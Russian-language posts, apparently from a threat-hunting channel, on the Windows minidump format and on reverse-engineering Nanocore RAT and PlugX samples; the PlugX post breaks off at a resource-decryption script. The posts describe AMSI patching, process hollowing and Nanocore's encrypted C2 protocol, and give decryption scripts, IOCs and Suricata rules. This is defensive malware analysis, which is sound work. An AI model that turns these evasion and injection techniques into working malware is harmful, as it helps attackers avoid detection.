@threathunt_pedia

Структура файла мини-дампа Windows

2026-01-16T12:53:47.295Z

Минидамп (minidump) — это компактный файл дампа памяти, создаваемый Windows при аварийном завершении работы системы (BSOD) или дампа процесса в момент сбоя приложения. В расследованиях инцидентов мини-дампы служат ценным источником информации: они могут содержать артефакты вредоносной активности, сетевые индикаторы, загруженные модули, открытые хендлы процесса и информацию о процессе. Очень важно понимать структуру файла и уметь извлекать информацию, которая необходима для восстановления событий и получения индикаторов компрометации.

Виды мини-дампов

1. Системные мини-дампы (Kernel-mode) - при BSOD:
C:\Windows\Minidump\*.dmp малые минидампы (по умолчанию)

Содержат: stop-код и параметры ошибки, контекст процессора на момент краха, стек вызовов в режиме ядра, список загруженных драйверов, базовую информацию о системе.

2. Пользовательские мини-дампы (User-mode) - создаются при падении приложений:

%LOCALAPPDATA%\CrashDumps\ для текущего пользователя %SystemRoot%\System32\config\systemprofile\AppData\Local\CrashDumps\ для системных служб
Пользовательские мини-дампы могут быть созданы вручную с помощью инструментов ProcDump, TaskManager, ProcessHacker/SystemInformer, либо функция MiniDumpWriteDump Windows API.

3. Полные дампы памяти:
Содержат всю физическую память системы, располагаются в C:\Windows\MEMORY.DMP. Технически это не мини-дампы, но про них важно упомянуть. Они содержат физическую память системы, из которой можно получать список процессов, сетевые соединения и т.д.

Структура файла

Рассмотрим структуру файла пользовательского файла мини-дамп (User-mode). Данные файлы встречаются на системах очень часто и многие собирают их с помощью своих Triage утилит.

Минидамп — это структурированный бинарный файл, состоящий из:

Заголовка (Header)
Директории потоков (Stream Directory)
Самих потоков данных (Streams)

Все данные хранятся в little-endian порядке.

Заголовок мини-дамп

Каждый файл мини-дампа начинается с заголовка фиксированного размера 32 байта, который служит отправной точкой для парсинга файла.

Заголовок мини-дампа

Структура заголовка определена в официальной документации Microsoft (minidumpapiset.h):

typedef struct _MINIDUMP_HEADER {
  ULONG32 Signature;             // 4 байта
  ULONG32 Version;               // 4 байта
  ULONG32 NumberOfStreams;       // 4 байта
  RVA     StreamDirectoryRva;    // 4 байта
  ULONG32 CheckSum;              // 4 байта
  union {                        // 4 байта
    ULONG32 Reserved;
    ULONG32 TimeDateStamp;
  };
  ULONG64 Flags;                 // 8 байт
} MINIDUMP_HEADER, *PMINIDUMP_HEADER;

Ключевые поля заголовка:

Signature -4 байта, всегда 0x504D444D (MDMP)
Version - 4 байта, версия формата. Обычно 0x000A0007 или 0x000093A7 (в little-endian: A7 93 00 00). Старшие 16 бит — версия, младшие — реализация.
NumberOfStreams -4 байта, количество записей в директории потоков
StreamDirectoryRVA -4 байта, смещение (в байтах от начала файла), где начинается директория потоков
CheckSum -4 байта, редко используется, почти всегда 0
TimeDateStamp -4 байта, время создания дампа в формате Unix timestamp (секунды с 1970-01-01 UTC)
Flags -8 байт, битовая маска, указывающая, какие данные включены (например, память, хендлы, потоки и т.д.)

Содержимое дампа напрямую зависит от установленных флагов (Flags):

MiniDumpNormal (~64КБ–2 МБ) — базовый дамп с минимальной информацией о сбое.
MiniDumpWithDataSegs (10–100 МБ) — добавляет сегменты данных.
MiniDumpWithHandleData (1–10 МБ) — включает информацию о дескрипторах.
MiniDumpWithFullMemory (сотни МБ–ГБ) — полный дамп со всей виртуальной памятью процесса.

Подробный список флагов доступен в документации Microsoft.

Директория потоков

Сразу после заголовка следует директория потоков — массив структур MINIDUMP_DIRECTORY, описывающих расположение и тип каждого блока данных. Директория начинается по смещению, указанному в StreamDirectoryRVA (заголовка мини-дампа). Количество таких записей задается в NumberOfStreams (заголовка мини-дамп).

typedef struct _MINIDUMP_DIRECTORY {
    ULONG32 StreamType;   // Тип потока
    MINIDUMP_LOCATION_DESCRIPTOR Location; // Где лежат данные
} MINIDUMP_DIRECTORY;

typedef struct _MINIDUMP_LOCATION_DESCRIPTOR {
    ULONG32 DataSize;     // Размер данных в байтах
    RVA     Rva;          // Смещение от начала файла, где начинаются данные
} MINIDUMP_LOCATION_DESCRIPTOR;

Пример записи в директории:

04 00 00 00   48 00 00 00   30 01 00 00
│             │             └── RVA = 0x00000130
│             └── DataSize = 0x48 (72 байта)
└── StreamType = 4 → ModuleListStream

Потоки данных (Streams)

Мини-дамп состоит из модульных блоков — потоков, каждый из которых содержит определенный тип информации. Расположение потока в файле мини-дамп указывается в поле RVA директории потоков.

Рассмотрим наиболее значимые для анализа потоки:

SystemInfoStream (Тип 7) - описывает информацию о системе, в которую входит версия ОС, архитектура процессора, количество ядер.
ModuleListStream (Тип 4) - важный поток, который содержит полный список загруженных модулей: адреса загрузки, размеры, имена DLL/EXE, временные метки, версия исполняемого файла.
Структура потока: первые 4 байта — количество модулей, далее массив структур MINIDUMP_MODULE.

Каждый MINIDUMP_MODULE содержит:

BaseOfImage — базовый адрес загрузки в память (VA)
SizeOfImage — размер образа
TimeDateStamp — метка времени компиляции PE-файла (в секундах с 1970)
ModuleNameRva — RVA строки с путём к модулю (Unicode строка)
VersionInfo — версия файла (если есть)
CheckSum — контрольная сумма

Важно: из мини-дампа с полной памятью (MiniDumpWithFullMemory) можно восстановить оригинальные исполняемые файлы, зная их базовые адреса и размеры.

Пример обнаружения вредоносного модуля:

{
	"name": "malware.dll",
	"full_path": "c:\\Windows\\System32\\malware.dll",
	"base_address": "0x00007FFC9A870000",
	"size": 286720,
	"size_hex": "0x46000",
	"checksum": "0x00000000",
	"timestamp": 1276629802,
	"time_string": "2010-06-15 22:23:22",
	"type": "DLL",
	"is_dll": true,
	"is_exe": false,
	"version_info": {
		"file_version": "",
		"product_version": "",
		"file_type": "Unknown",
		"signature": 0,
		"is_valid": false
	}
	
}

При анализе данного потока обращаем внимание на необычные пути размещения модулей, модули без подписи, несоответствие времени компиляции и версий, - модули с подозрительными именами.

ThreadListStream (Тип 3) - содержит информацию о потоках процесса: ID потоков, контекст процессора, стеки вызовов.
ExceptionStream (Тип 6) - содержит данные об исключении: код исключения, адрес сбоя, параметры исключения.
MemoryListStream (Тип 5) и Memory64ListStream (Тип 9) - эти потоки содержат фрагменты виртуальной памяти процесса. Структура потока MemoryListStream:

ULONG32 NumberOfMemoryRanges;
MINIDUMP_MEMORY_DESCRIPTOR MemoryRanges[...];

Где каждый дескриптор:

ULONG64 StartOfMemoryRange; // виртуальный адрес
MINIDUMP_LOCATION_DESCRIPTOR Memory; // { DataSize, RVA }

Структура потока Memory64ListStream немного изменена и является более эффективной для большинства дампов. Вместо повторения RVA для каждого региона присутствует единый базовый RVA.

ULONG64 NumberOfMemoryRanges;
ULONG64 BaseRva; // смещение от начала файла, где начинаются все данные памяти подряд

Затем идёт массив, содержащий:

struct {
    ULONG64 StartOfMemoryRange; // виртуальный адрес
    ULONG64 DataSize;
} [NumberOfMemoryRanges]

Все регионы памяти хранятся последовательно, начиная с BaseRva. В этих потоках можно искать URL-адреса, домены, IP-адреса, конфигурационные данные, текстовые строки, указывающие на активность.

MiscInfoStream (Тип 15) - данный поток содержит информацию о процессе: время создания процесса, ID процесса.

typedef struct _MINIDUMP_MISC_INFO {
    ULONG32 SizeOfInfo;        // Размер структуры в байтах
    ULONG32 Flags1;            // Битовая маска: какие поля заполнены
    ULONG32 ProcessId;         // PID процесса
    ULONG32 ProcessCreateTime; // Время создания процесса (Unix timestamp)
    ULONG32 ProcessUserTime;   // Время в пользовательском режиме (в 100-нс интервалах)
    ULONG32 ProcessKernelTime; // Время в режиме ядра (в 100-нс интервалах)
} MINIDUMP_MISC_INFO;

Здесь можно вычислить время работы процесса uptime=ProceeCreateTime - DumpTime, где DumpTime берется из заголовка дампа.

HandleDataStream (Тип 12) - этот поток содержит информацию о дескрипторах (handles), открытых процессом на момент создания дампа. Этот поток крайне полезен в цифровой криминалистике и анализе вредоносного ПО, так как позволяет увидеть, с какими объектами ядра взаимодействовал процесс: файлы, сетевые соединения, мьютексы, процессы, ключи реестра и многое другое.

Информация о хендле может быть представлена в двух форматах — в зависимости от версии операционной системы и флагов создания дампа.

typedef struct _MINIDUMP_HANDLE_DATA_STREAM {
    ULONG32 SizeOfHeader;        // Размер заголовка (обычно 16)
    ULONG32 Reserved;            // Зарезервировано (обычно 0)
    ULONG32 NumberOfHandles;     // Количество дескрипторов
    ULONG32 Reserved2;           // Зарезервировано
} MINIDUMP_HANDLE_DATA_STREAM;

typedef struct _MINIDUMP_HANDLE_DESCRIPTOR {
    ULONG64 Handle;              // Значение дескриптора (например, 0x5c)
    RVA     TypeNameRva;         // RVA строки с типом объекта ("File", "Event" и т.д.)
    RVA     ObjectNameRva;       // RVA имени объекта (например, путь к файлу)
    ULONG32 Attributes;          // Атрибуты (обычно 0)
    ULONG32 GrantedAccess;       // Права доступа (битовая маска)
    ULONG32 HandleCount;         // Сколько раз объект открыт в системе
    ULONG32 PointerCount;        // Сколько указателей на объект
} MINIDUMP_HANDLE_DESCRIPTOR;

Базовая структура MINIDUMP_HANDLE_DESCRIPTOR занимает 32 байта и содержит ключевые поля: значение дескриптора, RVA (смещение от начала файла) к строкам с типом объекта (например, File, Mutant, Key, Directory) и его именем, а также информацию о правах доступа, количестве ссылок и атрибутах.

Начиная с Windows 8 появилась расширенная версия — MINIDUMP_HANDLE_DESCRIPTOR_2 (40 байт). Она включает все поля предыдущей структуры и добавляет два новых:

ObjectInfoRva — указатель на дополнительные метаданные об объекте (например, временные метки файла или PID связанного процесса),
Reserved0 — зарезервированное поле для будущего использования.

На практике поле ObjectInfoRva почти всегда нулевое, так как Windows редко сохраняет расширенные данные в мини-дамп. Поэтому основное различие между версиями сводится к размеру записи: 32 байта для классической структуры и 40 байт для расширенной. При парсинге важно корректно определять размер записи, чтобы избежать смещения при чтении последующих дескрипторов.

Наиболее интересные значения TypeName: File - открытый файл, Directory - директория, Mutant - мьютекс, Key - ключ реестра.

Ограничения:

Имена объектов могут отсутствовать (ObjectNameRva = 0) — особенно для анонимных объектов.
Нет сетевых сокетов — TCP/UDP-соединения не представлены как хендлы в этом формате.
Данные статичны — вы видите состояние на момент дампа, но не историю.
Требуется флаг — без MiniDumpWithHandleData поток отсутствует.

Инструменты анализа мини-дампов

WinDbg - инструмент для анализа дампов от Microsoft, доступен через Microsoft Store. Используется, когда необходим глубокий анализ: восстановление стека вызовов, проверка контекста CPU, работа с символами Microsoft. В использовании данного инструмента есть большое ограничение в виде высокого порога входа, которое требует понимание архитектуры Windows и отладочных команд.

Основные команды:

!analyze -v — автоматический анализ причины сбоя
lm — список всех загруженных модулей с базовыми адресами
!handle — просмотр открытых хендлов (требуется флаг MiniDumpWithHandleData)
s -a 0 L?80000000 "http" — поиск ASCII-строк по всей доступной памяти

dumpchk.exe - утилита из Windows SDK, предназначенная для проверки структуры мини-дамп. Данный инструмент покажет тип дампа (user/kernel), наличие потоков, ошибки формата.

dumpchk crash.dmp

Volatility3 - инструмент для анализа дампов памяти. Volatility работает только с полными kernel-дампами (MEMORY.DMP), но не поддерживает user-mode minidumps.

Примеры команд:

# Volatility3
vol.py -f MEMORY.DMP windows.pslist

# Volatility2
vol.py -f MEMORY.DMP --profile=Win10x64 pslist

Strings + Stringsifter - инструменты для анализа строк, основанный на машинном обучении, который автоматически ранжирует строки на основе их релевантности для анализа вредоносного ПО.

strings -n 6 -a crash.dmp | rank_strings

MiniDump Parser for Dfir - инструмент анали мини-дампов процессов для DFIR специалистов. Позволяет анализировать информацию о процессе, извлекать модули из мини-дампа, извлекать открытые хендлы процесса, искать артефакты в памяти процесса.

Анализ с сохранением отчета:

python3 main.py -f dumpfile.dmp -o report.json

Полный анализ с извлечением модулей из мини-дампа:

python3 main.py -f dumpfile.dmp -o report.json -dump true -dump-dir ./extracted_modules

Если у вас есть необходимость добавить свои собственные регулярные выражения для поиска информации в MemoryListStream, то необходимо перейти файл minidump/artifact.py и изменить значение self.patterns.

self.patterns = {
            'urls': re.compile(r'https?://[a-zA-Z0-9\-\._~:/?#\[\]@!$&\'()*+,;=%]+'),
            'domains': re.compile(r'\b(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+'r'[a-zA-Z]{2,}\b')
        }

Заключение

Мини-дамп Windows играет ключевую роль в расследовании инцидентов, предоставляя «моментальный снимок» состояния процесса или системы в критический момент — будь то сбой, зависание или аварийное завершение. Особенно ценными являются загруженные модули (DLL/EXE), которые позволяют выявить подозрительные библиотеки, внедрённые из нетипичных путей (например, %TEMP% или AppData), а также проверить их временные метки на несоответствие легитимным версиям. Информация о процессе — PID, время создания, потребление CPU — помогает установить длительность его работы и коррелировать с логами безопасности. Если мини-дамп создан с расширенными флагами (например, MiniDumpWithHandleData), он может содержать хендлы, указывающие на открытые файлы, мьютексы, процессы или ключи реестра — прямые индикаторы вредоносного поведения. Но особенно важна дампированная память: даже в компактном минидампе могут сохраниться фрагменты кучи или стека, где остаются следы сетевой активности — IP-адреса, доменные имена, URL-адреса C2-серверов, строки конфигураций или команд. Анализ этих артефактов позволяет не только подтвердить компрометацию, но и восстановить тактику, техники и процедуры (TTPs) злоумышленника, делая минидамп незаменимым источником данных в цифровой криминалистике.

Исследуем образец Nanocore RAT

2024-08-02T13:44:46.846Z

Сегодня с вами разберем модуль удаленного управления семейства Nanocore RAT, MD5 8b6071a9344b21469ca5a4b62a0a855b. Для доставки данного модуля используется фишинг, в качестве вложения архив c исполняемым файлом внутри.

Основная нагрузка загружается в 3 этапа. На первом этапе неизвестный загрузчик расшифровывает нагрузку, обходит AMSI и запускает в памяти. Нагрузка второго этапа обфусцирована виртуализатором KoiVM, основная задача которого расшифровать основную нагрузку и запустить в созданном процессе методом Process Hollowing.

Больше информации об информационной безопасности, реверсу малвари и расследованию инцидентов в канале https://t.me/threathunt_pedia.

Исспользуемые утилиты:

x64Debug - бинарный отладчик с открытым исходным кодом для Windows
Die - утилита для определения типов файлов..
PeStudio - утилита поиска артефактов в исполняемом файле.
ResourceHacker - редактор ресурсов исполняемого файла Windows.
dnSpy - отладчик и редактор сборок .NET.

Исследование нагрузки первого этапа - Загрузчик

Загрузим исследуемый файл в DIE.

Исследуемый образец собран для 64-ых разрядных систем, разработан на языке программирования C#. Декомпилируем файл с помощью dnSpy и разберем функционал.

После декомплияции все классы и методы запутаны, но давайте найдем точку входа. Поиск точки входа в файлах .NET иногда вызывает трудности, так как разработчики пытаются их скрыть. О методах поиска точек входа в .NET файлах описаны статье Что на самом деле является точкой входа модуля .NET.

В обозревателе сборок dnSpy загруженный файл имеет имя DefaultChareFixedBufferILOnly. Нажмем правой кнопкой мыши->Перейти к точке входа. Точка входа указывает на статичную функцию WriteUInt32LittleEndianOperational.

В данной функции создается класс GetIndexOfFirstNonAsciiChargetSyntax и программа завершается. Перейдем в реализацию класса и увидим, что основные действия происходят в деструкторе (Dispose).

Все данные используемые загрузчиком зашифрованы, функция поиска реализована в lpstrSchemai8 класса GetIndexOfFirstNonAsciiChargetSyntax. На вход данной функции передается идентификатор извлекаемых данных. Поиск осуществляется в исполняемом файле.

Список идентификаторов извлекаемых данных:

1 - ключ AES
2 - вектор инициализации IV
3 - основная нагрузка nanocoreRAT
4 - строка подключаемых функций и динамический библиотек, разделенных символом $
5 - Opcode xor rcx, rcx; для атаки на AmsiOpenSession
6 - opcode для атаки на AmsiScanBuffer

Фнукция извлечение данных по идентификатору

Извлеченные данные зашифрованы алгоритмом AES в режиме CBC.

Разработаем скрипт для расшифрования строк и нагрузки следующего этапа. На вход функции ExtractPayload передается исследуемый исполняемый файл и идентификатор данных.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def ExtractPayload(filename,number):
    f = open(filename,'rb')
    data = f.read()
    f.close()
    s_const = "f1rMzUVfquat2n49jUfMfBiG6K9UO"
    l = []
    for i in range(0,len(data)-len(s_const)):
        flag = True
        for j in range(0,len(s_const)):
            if data[i+j] != ord(s_const[j]):
                flag = False
                break
        if flag:
            l.append(i)
    
    num = l[number-1] + len(s_const)
    num2 = l[number] - num
    result = data[num:num+num2]
    return result

def DecryptPayload(number):
    key = ExtractPayload('nanocore.exe',1)
    iv = ExtractPayload('nanocore.exe',2)
    payload = ExtractPayload('nanocore.exe',number)
    cipher = AES.new(key, AES.MODE_CBC,iv=iv)
    plaintext = cipher.decrypt(payload)
    plaintext = unpad(plaintext, AES.block_size)
    return plaintext

print('Список используемых функций ', DecryptPayload(4))
print('Оппкод для атаки на AmsiOpenSession ', DecryptPayload(5))
print('Оппкод для атаки на AmsiScanBuffer ', DecryptPayload(6))
print('KEY - ',ExtractPayload('nanocore.exe',1))
payload = DecryptPayload(3)
w = open('nanocore_payload2.exe','wb')
w.write(payload)
w.close()

Расшифрованные данные

Для атаки на Amsi (Antivalware scan interface) модуль патчит функции AmsiScanBuffer и AmsiOpenSession.

Подробнее об атаках на интерфейс AMSI в статье AMSI bypass — От истоков к Windows 11.

На данном этапе мы с вами разобрали работу загрузчика, основная задача которого расшифрование полезной нагрузки, запуск в памяти и обход AMSI.

Исследование нагрузки второго этапа - Инжектор

Мы с вами получили файл нагрузки, получим о нем информацию, для этого загрузим в утилиту Die.

Как видно из рисунка выше исполняемый файл собран для 64-х разрядных систем, разработан на языке программирования C#. Декомпилируем файл в dnSpy.

Исследуемый файл защищен протектором KoiVM, об этом нам говорит поток KoiVM.Runtime. KoiVM - это виртуальная машина, созданная для работы на ConfuserEx, которая превращает коды операций .NET в новые, известные только машине KoiVM.

Метод девирутализации модулей, защищенных KoiVM, описан в докладе Девиртуализация объекта защищенного KoiVM.

Попробуем восстановить исходный алгоритм программы с помощью инструмента OldRod. Соберем утилиту.

git clone -q --branch=master https://github.com/Washi1337/OldRod.git
git checkout -qf 56fc436807c46f94ffc1c790b9d8426dae7be047
git submodule update --init

Загруженный проект открываем в Visual Studio и собираем релиз. Запускаем файл для анализа.

К сожалению для нас, мы имеем дело с кастомной версией KoiVM, которая модифицировала протектор таким образом, что его не просто девиртуализировать. Первоначальная реализация KoiVM определяет 119 константных переменных, которые используются для виртуализации кода. Эти константы используются для определения регистров, флагов, кодов операций и т. д. Назначенные значения этих констант используются для правильного выполнения виртуализированного кода и также необходимы для процесса девиртуализации. Чтобы воспользоваться инструментом OldRod необходимо сформировать список констант и соответсвующие им опкоды, которые загружаются в формате json. В исследуемом модуле все константы обфусцированы арифметическими вычислениями, поэтому данный подход непригоден для получения результатов за разумное время.

Загрузим файл в PeStudio и проанализируем функции импорта (таблица ImplMap).

Таблица функций импорта

В исследуемом модуле доступ к функциям WinAPI и структурам осуществляется с помощью метода PInvoke, его нельзя запутать.

Мы можем идентифицировать данные функции и определить поведение инжектора KoiVM.

В таблице ImplMap обнаружены функции: CreateProcess, ReadProcess, WriteProcessMemory и т.д, которые используются для загрузки полезной нагрузки в памяти методом Process Hollowing.

Все вышеперчисленные функции определяются в классе _dc.

Для получения основной нагрузки можно отладить вредоносный файл в dnSpy, найти вызов функции WriteProcessMemory, поставить точку останова.

Далее перейти в HEX представление памяти, в переменной this._kb указан адрес расшифрованной полезной нагрузки.

Также получить основную нагрузку можно с помощью отладчика x64dbg. После загрузки файла в отладчик, нажимаем Ctrl+G и вводим имя функции WriteProcessMemory.

Далее начинаем отладку (F9) и попадаем на вызов интересующей нас функции.
На регистр r8 нажмем правой кнопкой мыши->Перейти к дампу. Из окошка дампа нажимаем правой кнопкой мыши и переходим в карту памяти, сохраняем участок памяти, находим заголовок MZ и копируем полученные данные в отдельный файл.

На данном этапе мы с вами получили основную нагрузку последнего этапа, разобрали один из методов анализа модулей, защищенных протектором KoiVM. Основная полезная нагрузка загружается в память методом Process Hollowing, причем имена созданных процессов всегда различные.

Исследование основной нагрузки - Nanocore RAT

Финальная нагрузка представляет собой 32-ух разрядный исполняемый файл, разработанный на C#.

MD5:fed1d5379855c7f3a50cd2e79f9e51c1
SHA1:7f4119ba8c8799b340c7a7aa0b7ec41ad69e8c0f
SHA256:b524e2e967e9727b6bf5d2e51f4fff102800ad77395f3c41235ac690608174f8

Исследуемый файл защищен обфускатором Eazfuscator, попробуем запустить de4dot и преобразовать исполняемый код в читаемый вид.

de4dot nanocore_payload.exe

Загрузим файл в dnSpyx32 и приступим к анализу.

Точка входа исполняемого файла

Имя сборки NanoCore Client.

После запуска Nanocore приступает к извлечению конфигурации. Функционал по извлечению конфигурации реализован в классе Class8.

Зашифрованная конфигурация расположена в ресурсе исполняемого файла и имеет следующую структуру.

Первые четыре байта (0x00000010) это размер зашифрованного ключа. Следующие байты содержат зашифрованный ключ. Далее четыре байта (0x15f58) содержат размер конфигурации.

После модуль считывает свой собственный Guid, для генерации криптографического ключа PBKDF2.

GUID исполняемого файла

Расшифрование ключа

С помощью сформированного криптографического ключа расшифровывается извлеченный из конфигурации ключ по алгоритму Rijndael.

Следующим этапом инициализуется шифратор DES, где в качестве ключа и вектора инициализации используется ключ расшифрованный на предыдущем этапе (0x722018788C294897). Данный алгоритм используется также для шифрования файлов и протокола взаимодействия с управляющим сервером.

Сообществом уже создана реализация алгоритма расшифрования конфигурации NanocoreRAT. Загрузим утилиту и расшифруем настройки модуля.

py nanocore_extract_settings.py -f nanocore_payload.exe

ИЛИ 

py nanocore_extract_settings.py -f nanocore_payload.exe --verbose

Конфигурация модуля

В конфигурации модуля содержатся плагин keyloger, адреса управляющих серверов, адреса DNS серверов для разыменования доменных имен и многое другое.

После расшифрования конфигурации модуль настраивает классы, создает рабочий каталог в AppData\\Roaming с именем MachineGuid, считанным из ключа реестра SOFTWARE\\Microsoft\\Cryptography\\MachineGuid.

Рабочий каталог модуля

В файл run.dat записывается время запуска модуля. В файл task.dat записывается путь исполняемого файла с целью дальнейшего создания задачи в планировщике задач.

Также в данном каталоге создаеюся файлы storage.dat, который хранит загруженные плагины из С2, и settings.bin, зашифрованные DES.

Давайте разберем протокол взаимодействия с управляющим сервером и разработаем правило детектирования.

Код протокола взаимодействия реализован в классе Client.

После получения конфигурации полезная нагрузка NanoCore запрашивает доменное имя, указанное в параметре PrimaryConnectionHost конфигурации. В качестве DNS сервера указаны 8.8.8.8 (PrimaryDnsServer) и 8.8.4.4 (BackupDnsServer). После получения адреса управляющего сервера начинается процесс взаимодействия с управляющим сервером.

Модуль NanoCore поддерживает 3 типа команд:

BaseCommand (0x0)- базовый тип команд, в которую входит отправка информации о зараженной системе, готовность модуля, обновление конфигурации.
PluginCommand (0x1) - обновление плагинов и загрузка новых.
FileCommand (0x2) - выгрузка, поиск файлов, вычисление хэш-суммы MD5 .

Типы команд взаимодействия с C2

У каждого типа команды есть идентификатор, который определяет как обрабатывать отправляемые данные. На рисунке ниже представлены тип команды BaseType с различными идентификаторами. Идентификатор 0x0 - отправляет первичную информацию о системе: значение MachineGuid, имя компьютера, имя пользователя, значение DefaultGroup из конфигурации модуля и версию NanocoreRAT. Идентификатор 0x6 - команда о готовности модуля к работе (heartbeat).

Базовый тип команд

Далее отправляемая информация на C2 формируется в поток байт и шифруется алгоритмом DES в режиме CBC с ключом и вектором инициализации равным 0x722018788C294897. Данный ключ получен на этапе расшифрования конфигурации.

После установления соединения с управляющим сервером по порту 3654, модуль отправляет данные о системе. Каждый пакет содержит первые 4 байта равной длине зашифрованных данных.

Зашифрованный пакет информации о системе

Давайте расшифруем информацию выше, для этого воспользуемся Cyberchef. Добавим операцию DES Decrypt и укажем ключ и вектор инициализации.

После отправки данных о зараженном компьютере, модуль отсылает пакет о готовности к получению команд, который содержит значение 0x600.

Длина пакета готовности модуля равна 8 байт.

Зашифрованный пакет готовности модуля

Расшифруем пакет готовности.

На данном этапе мы с вами разобрали протокол взаимодействия с управляющим сервером. Длина отправляемых данных о системе и готовности к получению команд всегда одинакова и равны 0x40, 0x8 байт соответственно.

Разработаем сетевые правила для детектирования работы модуля в сетевом трафике.

Правило для команды готовности одинаково, можно указать полностью зашифрованное DES значение 0x600, но я предполагаю, что ключ шифрования может меняться, поэтому будем искать пакет определенной длины и статичным значением.

alert tcp any any -> any any (msg: "Nanocore RAT length packet 0x8 Heartbeat"; flags: PA; dsize:12; depth:4; content:"|08 00 00 00|"; sid: 1000001;)

Правило для поиска пакета о зараженном устройстве.

alert tcp any any -> any any (msg: "Nanocore RAT length packet 0x40 Info System"; flags: PA; dsize:68; depth:4; content:"|40 00 00 00|"; sid: 1000002;)

При анализе пакета смотрим на tcp флаги PSH (Push) и ACK (Acknowledgment), глубина от начала 4 байта, размеры пакетов указаны в параметре dsize (4 байта + длина пакета).

Также одним из индикаторов компрометации является файл run.dat, содержащий временную метку запуска модуля, находящийся в рабочем каталоге исследуемого модуля C:\\Users\\<user>\\AppData\\Roaming\\<MachineGuid>.

Заключение

Мы с вами разобрали вредоносный файл семейства Nanocore RAT, который имеет обширный функционал. Модуль был разработан в 2015 году, но актуальность свою на сегодняшний день не потерял. Для обхода детектирования основная нагрузка упакована в 3 этапа. Большую трудность при анализе составило исследования инжектора, защищенного кастомным KoiVM. Разработали сетевые правила детектирования для Suricata и индикаторы компрометации, в которые входят: адрес управляющего сервера, порт, мьютекс и созданные в рабочем каталоге файлы.

Исследование PlugX RAT

2024-02-07T18:52:41.759Z

Сегодня мы с вами разберем исполняемый файл семейства PlugX. Данный образец использовался APT TA428, Space Pirates. Изучим работу загрузчика, алгоритм расшифрования строк и основной нагрузки модуля. Потренируемся реверсить настоящие вирусы.

Используемые утилиты:

Blobrunner - инструмент для отладки шелл-кода.
SpeakEasy - эмулятор, предназначенный для эмуляции вредоносных программ ядра и пользовательского режима Windows.
Ghidra - это платформа обратного проектирования программного обеспечения (SRE)/
IDA Pro - инструмент для анализа двоичного кода.
x64Debug - бинарный отладчик с открытым исходным кодом для Windows
Die.
PeStudio - утилита поиска артефактов в исполняемом файле.
ResourceHacker - редактор ресурсов исполняемого файла Windows.

Информация об исполняемом файле

Первоначально получим инфорамацию об исполняемом файле, для этого загрузим в утилиту Die.

Файл собран для 32-ух разрядных систем и разработан на языке программирования C/C++.

Просмотрим также информацию о заголовке исполняемого файла, для этого воспользуемся утилитой PeStudio.

Файл содердит ресурс с имеменм BIN, энтропия 7.949, что свидетельствует о зашифрованных данных.

Выгрузим данный ресурс с помощью утилиты ResourceHacker. Далее начнем изучать исполняемый файл.

Исследование

Проведем статический анализ вредоноса для этого загрузим файл в IDA Pro, найдем функцию main и декомпилируем с помощью HexRays.

Основной функционал расположен в функции sub_401380. В качестве параметра передается дескриптор исполняемого файла. Рассмотрим данную функцию.

С помощью функции CreateFileA проверяется доступность файла calc.exe. Далее выполняется функция sub_4011B0, в качестве входных данных передается имя BIN ресурса.

В данной функции считываются содежимое ресурса (LoadResource) и расчитывается его размер (SizeofResource). Далее получения адреса WinAPI функций VirtualAlloc и memcpy. На участке кода 0x4012a3 просиходит расшифрование полезной нагрузки из ресурса BIN.
Для того чтобы разобать алгоритм расшифрования ресурса BIN проведем динамический анализ.

При динамичском анализе помним, что адрес функций при новом запуске постоянно меняется, но смещение это последние 4 цифры имени функции сохраняются.

Загрузим в x32dbg наш файл с помощью ctrl+G указываем адрес перехода ..11B0 , поставим точку останова. Нажмем F9 и переходим к участку кода по адресу 0x..12a3.

С каждым байтом проводится операция ~ (отрицание), xor (исключающее или) с байтом 0xef и xor со статически заданным ключом.

Для просмотра ключа необходимо перейти к дампу памяти по адресу ds:[edx+449000] для этого нажмем правой кнопкой мыши->Перейти к дампу. Длина ключа 255 байт.

Скопируем ключ и напишем алгоритм расшифрования файла ресурса BIN на Python3.

f = open('BIN109.bin','rb')
w = open('BIN_Decrypt','wb')

KEY = [
0xA3,0x34,0xAF,0x34,0x3F,0x35,0x7D,0x35,0x85,0x35,0x8C,0x35,0xA6,0x35,
0xAE,0x35,0xB4,0x35,0x2B,0x36,0x37,0x36,0x4B,0x36,0x57,0x36,0x5F,0x36,
0x6B,0x36,0x73,0x36,0x7F,0x36,0x87,0x36,0x93,0x36,0x9B,0x36,0xA7,0x36,
0x7E,0x37,0x93,0x37,0x9B,0x37,0xAA,0x37,0xBF,0x37,0xC7,0x37,0xD6,0x37,
0xDE,0x37,0xE9,0x37,0xFA,0x37,0xA,0x39,0x16,0x39,0x36,0x39,0x42,0x39,
0x5D,0x39,0x64,0x39,0x75,0x39,0x84,0x39,0x99,0x39,0xA0,0x39,0xBA,0x39,
0xC4,0x39,0x63,0x3B,0x71,0x3B,0xC2,0x3B,0xC9,0x3B,0xD6,0x3B,0xDE,0x3B,
0xE5,0x3B,0x1C,0x3C,0x29,0x3C,0xC2,0x3C,0xCE,0x3C,0xD8,0x3C,0xE4,0x3C,
0xEC,0x3C,0xF8,0x3C,0,0x3D,0xC,0x3D,0x14,0x3D,0x20,0x3D,0x34,0x3D,0x40,
0x3D,0xC5,0x3E,0x16,0x3F,0x49,0x3F,0x4F,0x3F,0x84,0x3F,0xCC,0x3F,0xD0,
0x3F,0xED,0x3F,0xFB,0x3F,0,0,0,0x40,0,0,0x70,0,0,0,0x27,0x30,0x44,0x30,
0x4D,0x30,0xA4,0x30,0xB4,0x30,0xBA,0x30,0x20,0x31,0xB0,0x31,0xCD,0x31,
0xD8,0x31,0x1A,0x32,0x2B,0x32,0xBA,0x32,0xC8,0x32,0x3C,0x33,0x40,0x33,
0x4B,0x33,0x66,0x33,0x6B,0x33,0x85,0x33,0x8B,0x33,0x91,0x33,0x97,0x33,
0x9D,0x33,0xA3,0x33,0xA9,0x33,0xAF,0x33,0xB5,0x33,0xBB,0x33,0xC1,0x33,
0xC7,0x33,0xCE,0x33,0xD6,0x33,0xDE,0x33,0xE6,0x33,0xF2,0x33,0xFB,0x33,
0,0x34,0x6,0x34,0x10,0x34,0x19,0x34,0x24,0x34,0x32,0x34,0x37,0x34,0x3D,
0x34,0x48,0x34,0x4F,0x34,0x58,0x34,0x5C,0x34,0x67,0x34
]

result = bytearray()
b = f.read()

for i in range(0,len(b)):
    result.append((((~b[i]) ^ 0xef) & 0xff) ^ KEY[i % 256])
    
w.write(result)

